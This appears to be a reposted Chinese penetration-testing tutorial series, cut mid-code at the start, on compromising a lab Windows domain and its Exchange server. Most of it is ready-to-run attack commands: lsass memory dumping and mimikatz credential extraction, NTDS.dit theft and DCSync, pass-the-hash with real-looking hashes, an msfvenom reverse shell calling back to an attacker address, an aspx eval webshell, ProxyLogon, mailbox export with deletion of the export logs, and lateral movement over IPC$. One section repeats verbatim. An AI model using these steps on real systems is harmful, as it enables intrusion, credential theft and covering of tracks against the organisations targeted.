C:\\1.bin full"); MiniDumpW(0, 0, ws); return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: dump(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } SSP_RPC.exe C:\Users\16229\Desktop\ssp_rpc\DLL_SSP.dll 然后拖入本地使用mimikatz进行分析即可。 mimikatz.exe "sekurlsa::minidump 1.bin" "sekurlsa::logonPasswords full" exit 签名/白名单文件Dump任务管理器 点击转储文件即可,再将.DMP文件拖入本地使用mimikatz分析即可。 mimikatz.exe "sekurlsa::minidump 1.DMP" "sekurlsa::logonPasswords full" exit SqlDumperSqlDumper是有微软签名的,在安装了Sql Server服务的机器中直接会带有该工具。 <SQLServerInstall Drive>:\\Program Files\\Microsoft SQL Server\\{number}\\Shared\\SQLDumper.exe tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID号 Sqldumper.exe ProcessID 0 0x01100 导出mdmp文件 对于生成的文件,拖回本地使用mimikatz进行分析即可。 mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit procdumpprocdump是微软官方发布的工具,使用该工具可以把Isass的内存dump下来。因为是微软发布的工具,因此可以绕过大多数的防护软件。 下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump 首先也需要将procdump.exe上传到目标靶机 procdump64.exe -accepteula -ma lsass.exe lsass.dmp 在当前目录生成文件lsass.dmp 再使用mimikatz来分析抓取hash mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit createdump这个工具也是具有微软签名的。 createdump.exe随着.NET5出现的,本身是个native binary 虽然createdump.exe是随着.NET5出现的,但因为它是native binary,所以执行时并不需要依赖.NET5的环境 createdump.exe -u -f lsass.dmp <lsass pid> ProcExp双击打开即可 这里一共有两种转储方式 miniDump: 应用程序可以生成用户模式的小型转储文件,其中包含故障转储文件中包含的信息的有用子集。应用程序可以非常快速有效地创建小型转储文件。由于小型转储文件很小,因此可以轻松地将其通过Internet发送给该应用程序的技术支持。 full dump: 全部的转储文件。 导出后拖入本地机器使用mimikatz进行分析即可。 mimikatz.exe "sekurlsa::minidump 1.DMP" "sekurlsa::logonPasswords full" exit AvDump AvDump.exe是杀软Avast自带的一个程序,该程序可以用来dump进程的内存,拥有Avast的签名 .\\AvDump.exe --pid 612 --exception\_ptr 0 --thread\_id 0 --dump\_level 1 --dump\_file l.dmp --min\_interval 0 注意:需要在powershell的环境下执行命令。 导出后拖入本地机器使用mimikatz进行分析即可。 mimikatz.exe "sekurlsa::minidump 1.DMP" "sekurlsa::logonPasswords full" exit DumpMinitool该工具来自vs2022,可以自行安装Visual Studio2022,然后访问路径,把工具拖出来使用即可。 DumpMinitool.exe --file 9.dmp --processId 612 --dumpType Full 获取域hash值前面提到了抓取当前机器的明文密码,在内网域环境中,最终的目标就是获取域控权限,因此,域中hash才是重中之重。 和本地用户的SAM文件相同,域内的hash存储在一个文件NTDS.DIT中的, NTDS.DIT是一个二进制文件,就等同于本地计算机的SAM文件,它的存放位置是%SystemRoot%\ntds\NTDS.DIT。这里面包含的不只是Username和HASH,还有OU、Group等信息。 总结来说,获取域hash一共有三个方式 1.利用dcsync功能获取域hash(可在域成员主机) 2.利用域控自带的服务ntdsutil.exe,生成ntds.dit文件快照,然后离线分析导出hash(需在域控主机下) 3.利用卷影拷贝服务拷贝C盘,进行导出ntds.dit(需在域控主机下) 利用dcsync功能来获取域内用户的hash在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。 在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。(权限维持,通过对域内普通用户添加DCSync权限,达到权限维持的作用) Mimikatz通过mimikatz获取域用户hash。其原理就是利用 DRS (Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据。 privilege::debug lsadump::dcsync /domain:vvvv1.com /all /csv lsadump::dcsync /domain:vvvv1.com /user:test Invoke-DCSyncInvoke-DCSync是一个基于powershell的脚本。 Powershell -ExecutionPolicy Bypass Import-Module ./Invoke-DCSync.ps1 Invoke-DCSync -PWDumpFormat 提取NTDS.DIT,SAM和SYSTEM文件注意,如果不是使用dcsync功能进行提取域内用户hash,导出NTDS.DIT必须要在域控下进行。 https://zhuanlan.zhihu.com/p/464067739 secretsdump使用impacket工具包中的secretsdump来导出散列 python3 secretsdump.py VVVV1/admins:User\\!@#[email protected] python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:41945356c1b2adde08c00d0e48515b7e -just-dc hacke.testlab/[email protected] NishangNishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合,并被广泛应用于渗透测试的各个阶段。 Nishang中的Copy-VSS脚本可用于自动化的提取需要的文件:NTDS.DIT,SAM和SYSTEM。这些文件将被提取到当前的工作目录或你指定的文件夹中。通过生成现有的ntds.dit文件快照,来导出ntds.dit文件。 Powershell -ExecutionPolicy Bypass Import-Module .\\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\\ShadowCopy\\ (指定文件夹输出) 提取成功后可以利用mimikatz来进行导出文件中的hash密码 mimikatz.exe "lsadump::sam /sam:SAM /system:SYSTEM" "exit" Ntdsutilntdsutil是一个命令行工具,是域控制器生态系统的一部分,其主要用途是使管理员能够轻松访问和管理Windows Active Directory数据库。 ntdsutil是域控自带的一个软件,可以用来导出ntds.dit,前提是登陆到域控机器。(在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得文件的副本。) ntdsutil.exe activate instance ntds ifm create full C:\\ntdsutil quit quit 作用是建立ntds.dit文件快照,并且导出到文件夹中,便于离线分析。 生成两个新文件夹:Active Directory和Registry。NTDS.DIT文件将被保存到Active Directory中,而SAM和SYSTEM文件则将被保存到Registry文件夹中。 当然,也可以直接生成C盘的卷影副本。 创建快照 ntdsutil snapshot "activate instance ntds" create quit quit 挂载快照 ntdsutil snapshot "mount {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit 装载后就可以直接在C盘根目录进行访问。 直接复制ntds.dit copy C:\\\\$SNAP\_202308231044\_VOLUMEC$\\windows\\NTDS\\ntds.dit c:\\ntds.dit 或者远程复制 copy \\\\10.10.10.10\\C$\\$SNAP\_202308231044\_VOLUMEC$\\windows\\NTDS\\ntds.dit c:\\ntds.dit 卸载快照 ntdsutil snapshot "unmount {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit 删除快照 ntdsutil snapshot "delete {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit NTDSDump导出了NTDS.DIT和SYSTEM文件后该如何离线分析呢? 这里使用工具NTDSDUMP来进行离线分析导出域内用户hash值 NTDSDumpEx.exe -d ntds.dit -s SYSTEM vssadminvssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。 1.创建一个C盘的卷影拷贝。 vssadmin create shadow /for=C: 2.然后在创建的卷影拷贝中将ntds.dit和SYSTEM复制到C盘中。 copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\ntds\\ntds.dit C:\\ntds.dit copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\SYSTEM 3.最后将刚刚创建的卷影拷贝删除即可 vssadmin delete shadows /for=c: /quiet esentutlesentutl /y /vss C:\\Windows\\System32\\config\\SAM /d C:\\Users\\16229\\Desktop\\SAM // /vss 生成对应的卷影副本 对于远程使用卷影副本的总结: 对于目前的工具貌似并没有可以直接远程生成目标主机的卷影副本的方法,但是可以通过间接的方式远程生成卷影副本并导出所需文件。 比如首先远程使用计划任务,执行生成卷影副本等命令,然后用过copy远程复制回本地进行分析。 模拟渗透场景进行导出域hash这里我们主要使用两个集成工具进行操作:Metasploit和coablt_strike Metasploit边界主机web-2012 kali: 在当前的网络环境下,我们只能访问到边界主机web-2012,无法访问到域内网的环境。 这里我们使用直接生成msf的木马,直接上传到边界主机(由于靶机还未搭载任何服务,因此直接进行上传木马开始内网渗透) kali执行命令生成木马: msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.126.164 LPORT=1234 -f exe -o shell.exe use exploit/multi/handler set payload windows/meterpreter/reverse\_tcp set lport 1234 set lhost 192.168.126.164 边界主机运行上传的木马: 发现会话已经反弹到kali 查看信息,发现该主机存在双网卡 查看一波信息,发现我们拿到的用户权限为本地的管理员权限 发现无法访问域内资源 加载msf中的mimikatz模块导出hash 进行进程迁移到system权限 migrate [PID] load kiwi #加载kiwi模块 creds_all #列举所有凭据 kiwi_cmd sekurlsa::logonpasswords #使用mimikatz的全部功能 该方式是从lsass.exe的内存中提权hash,可以使用本地用户的管理员权限抓取到了登陆过本机的域管理员的hash值。 发现我们抓取到域用户的账户,使用RDP登陆查看或者使用Psexec进行登陆 (注意需要目标主机开启远程管理服务) 定位域控 net group "Domain Controllers" /domain 发现可以访问域控的资源,为高权限域用户。 接下来可以使用dcsync功能来进行获取域内用户hash,或者通过代理隧道登陆域控主机直接导出ntds.dit 1.使用dcsync功能导入mimikatz lsadump::dcsync /domain:vvvv1.com /all /csv 2.通过代理隧道登陆域控主机直接导出ntds.dit使用代理工具stowaway 控制端: 上传控制端到kali, 使用被动模式,监听端口8000,并对通信进行加密秘钥为123。等待被控端的连接 ./linux\_x64\_admin -l 192.168.126.164:2222 -s 123 被控制端: windows\_x64\_agent.exe -c 192.168.126.164:2222 -s 123 --reconnect 8 设置socks5代理端口为7777,且账号密码为admin/admin socks 7777 admin admin 本机使用Proxifier进行连接socks代理 如果不适用代理,无法连接内网地址 代理成功后,发现可以远程连接内网主机 使用ntdsutil导出ntds.dit和STSTEM文件 ntdsutil.exe activate instance ntds ifm create full C:\\ntdsutil quit quit 将ntds.dit和STSTEM文件拖到本地,使用NTDSDumpEx.exe进行分析导出域内用户hash即可 coablt_strike设置监听器 生成一个exe上传到目标主机运行。 3 目标主机上线cs 登陆的机器为边界主机,拥有双网卡 当前用户的权限为administrator 使用插件进行提权,发现成功获取到system权限 查询域内信息,发现域控名为AD-2016 使用当前SYSTEM权限访问域内信息,发现只是低权限的域用户,无法访问到域控的资源 使用net veiw探测网络情况 直接run mimikatz 可以看到跑出一共域用户admins 对探测出的网络用户,使用凭据进行密码喷洒 注意使用psexec需要SMB建立监听器 成功上线所有的机器 使用域控的会话,在LSTAR插件中导出域内用户hash 获取到域内所有用户的hash。 VPN模式和socks代理模式使用dcsync导出域hashVPN环境在VPN中可以随意导出域hash 首先进行hash传递为用户添加导出dcsync的权限。 man1:0ec4b410903c6dc7594464f27d347497 admins: 0ec4b410903c6dc7594464f27d347497 administrator:ad5a870327c02f83cb947af6a94a4c23 ad-2016$: 99ac70cee2d4370638397a39c71db91d EXCHANGE-2016$ :a377e26f4118ba88ce1af6a4f8ac9daf 使用mimikatz进行hash传递攻击。 privilege::debug sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497 sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497 sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23 sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d 经过测试,域控机器账户的权限为普通域用户的权限,但是还有dcsync的权限 lsadump::dcsync /domain:vvvv1.com /all /csv 经过测试,添加这两项的用户可以进行具有dcsync权限。 查询具有dcsync权限的用户 AdFind.exe -s subtree -b "DC=vvvv1,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute 使用命令行给用户添加dcsync权限 通过加载Powershell渗透框架下的PowerView.ps1脚本实现。 Powershell -ExecutionPolicy Bypass Import-Module .\\PowerView.ps1 Add-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose 经过测试,域控的机器账户并没有授予其他人dcsync服务的权限。 但是域管理员账户是拥有授予其他人dcsync服务的权限。 发现man03已经被添加dcsync权限了。 删除man03的dcsync权限 Remove-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose 发现已经删除 查询用户权限 Get-DomainObjectAcl -Identity man03 -domain vvvv1.com -ResolveGUIDs man1:0ec4b410903c6dc7594464f27d347497 admins: 0ec4b410903c6dc7594464f27d347497 administrator:ad5a870327c02f83cb947af6a94a4c23 ad-2016$: 99ac70cee2d4370638397a39c71db91d 使用mimikatz进行hash传递攻击。 privilege::debug sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497 sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497 sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23 sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d 经过测试,域控机器账户的权限为普通域用户的权限,但是还有dcsync的权限 lsadump::dcsync /domain:vvvv1.com /all /csv 经过测试,添加这两项的用户可以进行具有dcsync权限。 查询具有dcsync权限的用户 AdFind.exe -s subtree -b "DC=vvvv1,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute 使用命令行给用户添加dcsync权限 通过加载Powershell渗透框架下的PowerView.ps1脚本实现。 Powershell -ExecutionPolicy Bypass Import-Module .\PowerView.ps1 Add-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose 经过测试,域控的机器账户并没有授予其他人dcsync服务的权限。 但是域管理员账户是拥有授予其他人dcsync服务的权限。 发现man03已经被添加dcsync权限了。 删除man03的dcsync权限 Remove-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose 发现已经删除 查询用户权限 Get-DomainObjectAcl -Identity man03 -domain vvvv1.com -ResolveGUIDs socks代理环境在socks代理环境中,虽然我们的主机连接了socks代理,但是我们的dns无法解析,域控也没有指定,因此使用dcsync的时候需要指定域控才行。 经过测试,只能使用sharpkatz进行指定域控导出域hash。 SharpKatz.exe --Command dcsync --Domain vvvv1.com --DomainController 10.10.10.10 SharpKatz.exe --Command dcsync --DomainController 10.10.10.100 --AuthUser administrator --AuthDomain ww1.com --AuthPassword admin!@#1456 SharpKatz.exe --Command pth --User administrator --Domain vvvv1.com --NtlmHash f1065013e55bbbeb64ddab768229710d 添加SID,就可以解决无法找到GUID的问题 SharpKatz.exe --Command dcsync --Domain vvvv1.com --DomainController 10.10.10.10 --AuthUser administrator --AuthDomain vvvv1.com --AuthPassword admin!@#4567 --DomainSid S-1-5-21-3315874494-179465980-3412869843 转载自原文链接地址:https://forum.butian.net/share/3653
  4. 在进行渗透过程中,Exchange邮件服务器通常是我们重点关注的对象,因为拿下了Exchange邮件服务器,凭借其机器账户的权限,我们可以赋予其他域内用户dcsync的权限,进而导出域内hash,拿下整个域。 exchange系统的中配置powershell使用命令 https://learn.microsoft.com/zh-cn/powershell/module/exchange/add-mailboxfolderpermission?view=exchange-ps 扫描服务setspn.exesetspn.exe -T vvvv1.com -F -Q */* | findstr exchange nmapnmap 192.168.52.139 -A 探测版本与漏洞通过ews接口获得exchange精确版本信息 缺点:部分旧的exchange版本不支持该操作。 通过owa接口获取exchange粗略版本信息 获得版本号后,可以去官网查询对应的Exchange版本和发布日期。 查询地址: https://learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016 使用脚本检测版本与漏洞 https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_MatchVul.py 爆破python2 EBurst.py -d 192.168.52.139 -C 也可以使用该工具进行用户账户密码爆破。 python2 EBurst.py -d 192.168.52.139 -L ./users.txt -P ./passwords.txt --ews 信息收集假定目前以及获取到了其中一个邮箱用户的凭据,接下来就可以进行信息收集。 通过Autodiscover进行信息收集通过https://Exchange/autodiscover/autodiscover.xml接口,可以接受xml请求并返回xml中指定的电子邮件所属邮箱配置。 因为NTLMv2 身份验证需要 HTTP/1.1 连接,而新版burpsuit默认HTTP/2,因此我们需要先进行调整。 https://blog.csdn.net/qq_30786785/article/details/121742101 读取配置等操作可以参考如下链接。 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Exchange-Autodiscover%E7%9A%84%E4%BD%BF%E7%94%A8 其中basic为身份验证,使用base64加密 VVVV1\administrator:admin!@#456 POST /autodiscover/autodiscover.xml HTTP/1.1 Host: 192.168.52.139 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Authorization: Basic VlZWVjFcYWRtaW5pc3RyYXRvcjphZG1pbiFAIzQ1Ng== Content-Type: text/xml Content-Length: 350 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>[email protected]</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> 如果不存在邮箱,则会返回 如果邮箱存在,则会返回配置信息 获取exchange通讯录全局地址列表(Global Address List,GAL)包含exchange组织所有的邮箱用户的邮件地址,只要获得exchange组织内任一邮箱用户的凭据,就可以导出其他邮箱用户的邮件地址。可以使用OWA、EWS、OAB、RPC over HTTP、MAPI over HTTP等方式获取GAL。 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97Exchange-GlobalAddressList%E7%9A%84%E6%96%B9%E6%B3%95 https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/ 利用OWA直接查看人员->所有用户 通过/EWS接口获取GALPowershell -ExecutionPolicy Bypass Import-Module .\MailSniper.ps1 Get-GlobalAddressList -ExchHostname 192.168.52.139 -UserName VVVV1\administrator -Password admin!@#456 -OutFile gal.txt 通过OAB获取GAL1.通过Autodiscover搜集到的OAB路径; 2.访问/OAB/OABURI/oab.xml; 3.通过oab.xml找到默认全局地址表对应的LZX文件地址,并访问/OAB/OABURI/LZXURI,得到LZX文件; 4.使用cabextract工具对LZX文件解码,即可还原出GAL; https://www.cabextract.org.uk/ 通过RPC(MAPI) over HTTP导出GAL和信息收集MAPI OVER HTTP是Outlook同Exchange2016之间默认的通信协议 MAPI OVER HTTP是Exchange Server 2013 Service Pack 1 (SP1)中实现的新传输协议,用来替代RPC OVER HTTP(也称作Outlook Anywhere) Exchange2013默认没有启用MAPI OVER HTTP,Outlook同Exchange之间的通信协议使用RPC OVER HTTP 使用impacket-exchanger模块可以列出address list,找到对应的guid python exchanger.py VVVV1/admins:User!@#[email protected] nspi list-tables 导出所有用户 python exchanger.py VVVV1/admins:User!@#[email protected] nspi dump-tables -guid 784f58c1-8bd1-4d28-81fa-52d22ce95738 通过python远程导出GALpython ewsManage_Downloader.py 192.168.52.139 443 plaintext vvvv1.com admins User!@#45 findallpeople 导出邮件内容通过/OWA接口直接下载邮件通过输入账号密码,然后直接在页面中读取或下载邮件 通过/EWS接口导出邮件内容通过python远程导出邮件可以通过明文密码导出,也可以通过hash导出 python ewsManage_Downloader.py 192.168.52.139 443 plaintext vvvv1.com administrator admin!@#456 download python ewsManage_Downloader.py test.com 80 ntlmhash NULL user1 c5a237b7e9d8e708d8436b6148a25fa1 findallpeople 通过python导出邮件一般情况下使用SOAP XML message导出 XML元素官方文档: https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-xml-elements-in-exchange 通过exshell.ps1导出邮件https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8EExchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6 Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "New-MailboxExportrequest -mailbox administrator -filepath '\\localhost\c$\exchange1.pst' 当然,在导出邮件之后,我们还需要进行导出邮件痕迹的清除 查看邮件导出请求记录 Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "Get-MailboxExportRequest" 删除导出日志记录 Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "remove-MailboxExportRequest" Identity参数为上图中的Mailbox参数 Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "remove-MailboxExportRequest -Identity 'vvvv1.com/Users/Administrator\MailboxExport' -Confirm:$false" 邮箱接管后门种植配置模拟权限https://4sysops.com/archives/exchange-impersonation-grant-permissions-to-service-accounts/ 添加如下的权限即可。 验证是否有模拟权限: https://192.168.52.139/ecp/[email protected]/ 具体利用需要结合脚本文件。 查看具有模拟权限的成员 Get-ManagementRoleAssignment -Role:ApplicationImpersonation Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "Get-ManagementRoleAssignment -Role:ApplicationImpersonation" 创建一个新的具有模拟权限的成员 New-ManagementRoleAssignment -Role:ApplicationImpersonation -User: [email protected] 删除新添加模拟权限的成员 Remove-ManagementRoleAssignment "ApplicationImpersonation-admins" 配置fullaccess权限https://blog.csdn.net/weixin_34123613/article/details/90079532 Get-Mailbox -ResultSize unlimited -Filter {(RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'Administrator')} | Add-MailboxPermission -User administrator -AccessRights fullaccess -InheritanceType all 取消fullaccess权限 Get-Mailbox -ResultSize unlimited -Filter {(RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'Administrator')} | remove-MailboxPermission -User administrator -AccessRights fullaccess -InheritanceType all 验证fullaccess权限 漏洞攻击python ProxyLogon.py --host=exchange.com [email protected] aspx木马: <script language="JScript" runat="server"> function Page\_Load(){/\*\*/eval(Request\["command"\],"unsafe");}</script> 后渗透阶段exchange服务器信息收集获取到exchange默认安装路径 echo %ExchangeInstallPath% 控制台文件的相对位置是%ExchangeInstallPath%\Bin\exshell.ps1 获取所有邮箱信息 powershell.exe -psconsolefile "C:\Program Files\Microsoft\Exchange Server\V15\bin\exshell.psc1" -command "get-mailbox -resultsize unlimited" 分析邮件跟踪日志邮件跟踪日志位于%ExchangeInstallPath%\TransportRoles\Logs\MessageTracking 在配置了代理隧道的情况下可以通过copy命令将日志复制到本地。 通过脚本log_analysis.py可以提取关键信息进行分析。 import csv import os import sys def analysis(path): for i in os.listdir(path): print(i) csvfile = [] for i in open(path+"/" + i, encoding='utf-8'): if '#Software: Microsoft Exchange Server' in i: continue if i[:1] == '#': if i[:9] == '#Fields: ': i = i.replace('#Fields: ', '') else: continue csvfile.append(i) reader = csv.DictReader(csvfile) for row in reader: date_time = row["date-time"] original_server_ip = row["original-server-ip"] original_client_ip = row["original-client-ip"] from_email = row["sender-address"] to_email = row['recipient-address'].replace(';', " ") subject = row['message-subject'] if date_time !='' and original_server_ip != '' and original_client_ip != "" and from_email != "" and to_email != "" and subject != "": msg = f'[{date_time}]:[ {from_email} ][ip:{original_client_ip}] -> [ {to_email} ][ip:{original_server_ip}] [ {subject} ]\n' wf = open(f'{path}\\testout.txt', "a+", encoding='utf-8') wf.write(msg) if __name__ == '__main__': path = sys.argv[1] analysis(path=path) 使用exchange中的exshell.ps1文件也可以获取某个账户的发件信息进行分析 powershell.exe -psconsolefile "C:\Program Files\Microsoft\Exchange Server\V15\bin\exshell.psc1" -command "Get-MessageTrackingLog -EventID send -Sender "[email protected]"" 导出本地hash获取到webshell权限后,查看权限是否需要提权等操作 上传微软的工具导出lsass进程中的hash防止被查杀。 procdump64.exe -accepteula -ma lsass.exe lsass.dmp 导出生成的lsass.dmp文件,copy进入本地使用mimikatz进行分析。 mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 抓取到exchange的机器用户的hash。 exchange机器位于Exchange Trusted Subsystem,而Exchange Trusted Subsystem又属于Exchange Windows Permission组,这个组具有WriteDACL权限,且可以继承,因此exchange机器对于域对象具有WriteDACL权限,我们只需要知道一个普通域用户的密码或者hash,即可赋予其dcsync的权限,导出域内hash。 搭建webshell代理正常情况下,exchange服务器是处于不出网的环境中,而当我们拿到webshell的说话,无法反弹shell到自己的工具,所以需要通过webshell流量搭建代理隧道。 使用Chunk-Proxy工具即可,将代理文件上传到web目录中 java -jar v1.10.jar .net 1088 https://192.168.52.139/aspnet_client/proxy.aspx 发现已经成功访问到内网网段 赋予普通用户dcsync权限使用工具bloodyAD直接远程赋予即可。 python bloodyAD.py -d vvvv1.com -u EXCHANGE-2016$ -p :a377e26f4118ba88ce1af6a4f8ac9daf --host 10.10.10.10 add dcsync man03 使用命令行给用户添加dcsync权限 通过加载Powershell渗透框架下的PowerView.ps1脚本实现。 Powershell -ExecutionPolicy Bypass Import-Module .\PowerView.ps1 Add-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose 经过测试,域控的机器账户并没有授予其他人dcsync服务的权限。 但是域管理员账户是拥有授予其他人dcsync服务的权限。 发现man03已经被添加dcsync权限了。 删除man03的dcsync权限 Remove-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose 发现已经删除 赋予dcsync权限后,只需要使用hash传递将对应账户注入到当前lsass进程中,然后使用sharpkatz就可以远程导出域hash了。 总结为什么一定要导出邮件呢? 1.在日常工作中,对于甲方的指定人员进行邮件分析,分析行为等; 2.在企业或者大型内网环境中,我们一般从exchange进去的域属于公共域,在内部里面还有私有域,两个域可能并不互相信任,也有可能是隔离的环境,那么两个域之间相互进行联系靠的就是邮件通讯,因此导出其中的邮件可能会有vpn账号等等; 3.可能企业或者内网这个域环境搭建是通过外包的,如果出现问题,企业就会需要发邮件让外包人员进行处理,同时,外包人员也并不是实时都在现场,也会通过vpn等手段连入内网,当然,在内部网络,IT部门也会根据身份分发VPN等邮件; 4.还会有许多的机器密码等等也保存在邮件中,或者在机器中; 网络hash 当我们截获到网络hash,需要思考两点: 1.如果这个网络hash只是用于身份认证的话,一般使用不可逆算法,比如md5,sha256等等算法,只能采用爆破的方法; 2.如果这个网络hash后续还需要使用明文来连接,比如连接ldap服务,那么算法大概率是可逆的,可以由相关人员来破解。 转载自原文链接地址: https://forum.butian.net/share/3679
  5. 在正常情况中,横向移动是在已经获取了足够的权限的情况下进行横向移动,下面中的方法大部分也需要高权限的操作。 https://www.freebuf.com/articles/network/251364.html 内网横向移动分为三种情况: 1.在VPN环境中进行横向移动; 2.在socks代理环境中进行横向移动; 3.在远程木马的环境中进行横向移动; 文件传输-前期准备在进行横向移动的过程中,我们首先应该考虑的是文件传输方案,对之后向攻击目标部署攻击载荷或其他文件提供便利。 网络共享在windows系统中,网络共享功能可以实现局域网之间的文件共享。提供有效的用户凭据,就可以将文件从一台机器传输到另一台机器。 获取到windows中系统默认开启的网络共享。 net share 在实战中,往往会使用IPC$连接,而IPC$连接需要两个要求。 1.远程主机开启了IPC连接; 2.远程主机的139端口和445端口开放; net use \\10.10.10.10\IPC$ "admin!@#456" /user:"administrator" 此时,如果你具备足够权限的凭据,即可使用dir或者copy命令查看目标主机的信息。 安全性考虑:这些指令是在本地执行,远程的命令,因此不会在远程连接的主机留下日志信息,因此是比较安全。 搭建SMB服务器https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%BC%80%E5%90%AFWindows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%8C%BF%E5%90%8D%E8%AE%BF%E9%97%AE%E5%85%B1%E4%BA%AB SMB(server message block,服务器消息块),又称CIFS(网络文件共享系统),基于应用层网络传输协议,一般使用NetBIOS协议或者TCP发送,使用139或445端口。 创建一个双方都可以访问的SMB服务器,在内网渗透中,让受害主机远程加载木马等操作控制目标主机。 CIFS协议和SMB协议的区别**关于对CIFS权限的想法:**就是当我们拿下了一台机器,然后这台机器存在约束委派或者白银票据这些漏洞的话,通过操作获得到了域控的cifs权限,那就可以使用impacket工具包里面的工具类似psexec.py、smbexec.py之类的脚本,然后使用-no-pass -k参数通过读取到本地的票据直接连接上域控获取到权限。 但是impacket工具包在使用-no-pass -k参数的时候检测的是.ccache票据,在windows上使用的是.kirbi结尾的票据,因此无法成功。在linux上可以成功。 如果能够获取到域控的cifs权限,修改一下impacket工具,或者通过编写其他工具,通过CIFS权限就可以直接拿下域控。 